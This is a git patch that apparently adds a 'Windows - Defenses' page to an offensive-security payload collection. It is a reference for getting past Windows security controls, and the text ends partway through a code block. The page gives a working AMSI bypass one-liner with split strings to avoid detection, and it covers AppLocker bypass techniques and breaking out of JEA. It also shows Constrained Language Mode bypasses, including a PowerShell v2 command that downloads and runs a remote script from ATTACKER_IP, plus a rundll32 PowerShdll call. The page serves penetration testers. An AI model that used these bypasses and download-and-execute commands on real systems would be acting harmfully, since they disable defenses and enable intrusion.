From f1a85f22b9270d77435e225fb078872d2a6908d5 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sun, 12 Feb 2023 18:17:09 +0100 Subject: [PATCH] Windows Defenses --- .../Windows - Defenses.md | 189 ++++++++++++++++++ .../Windows - Privilege Escalation.md | 111 +--------- .../Windows - Using credentials.md | 41 ++-- 3 files changed, 218 insertions(+), 123 deletions(-) create mode 100644 Methodology and Resources/Windows - Defenses.md diff --git a/Methodology and Resources/Windows - Defenses.md b/Methodology and Resources/Windows - Defenses.md new file mode 100644 index 0000000..108b68c --- /dev/null +++ b/Methodology and Resources/Windows - Defenses.md @@ -0,0 +1,189 @@ +# Windows - Defenses + +## Summary + +* [AMSI](#amsi) +* [AppLocker](#applocker) +* [DPAPI](#dpapi) +* [Powershell](#powershell) + * [JEA](#jea) + * [Contrained Language Mode](#constrained-language-mode) +* [Windows Defender Antivirus](#windows-defender-antivirus) +* [Windows Defender Application Control](#windows-defender-application-control) +* [Windows Defender Firewall](#windows-defender-firewall) + +## AMSI + +> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content. + +Find more AMSI bypass: [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md) + +```powershell +PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) +``` + + +## AppLocker + +> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups. + +* Enumerate Local AppLocker Effective Policy + ```powershell + PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections + PowerView PS C:\> Get-AppLockerPolicy -effective -xml + Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script + ``` + +* AppLocker Bypass + * By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users + * [api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md) + * [api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md) + * [api0cradle/UltimateAppLockerByPassList/DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md) + + +## DPAPI + +Refer to [PayloadsAllTheThings/Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md) + + +## Powershell + +### JEA + +> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information. + +Breaking out if JEA: +* List available cmdlets: `command` +* Look for non-default cmdlets: + ```ps1 + Set-PSSessionConfiguration + Start-Process + New-Service + Add-Computer + ``` + +### Constrained Language Mode + +Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode` + +* Bypass using an old Powershell. Powershell v2 doesn't support CLM. + ```ps1 + powershell.exe -version 2 + powershell.exe -version 2 -ExecutionPolicy bypass + powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')" + ``` + +* Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path. + ```ps1 + # Enable CLM from the environment + [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') + Get-ChildItem -Path Env: + + # Create a check-mode.ps1 containing your "evil" powershell commands + $mode = $ExecutionContext.SessionState.LanguageMode + write-host $mode + + # Simple bypass, execute inside a System32 folder + PS C:\> C:\Users\Public\check-mode.ps1 + ConstrainedLanguage + + PS C:\> C:\Users\Public\System32\check-mode.ps1 + FullLanguagge + ``` + +* Bypass using COM: [xpn/COM_to_registry.ps1](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1) +* Bypass using your own Powershell DLL: [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) & [iomoath/PowerShx](https://github.com/iomoath/PowerShx) + ```ps1 + rundll32 PowerShdll,main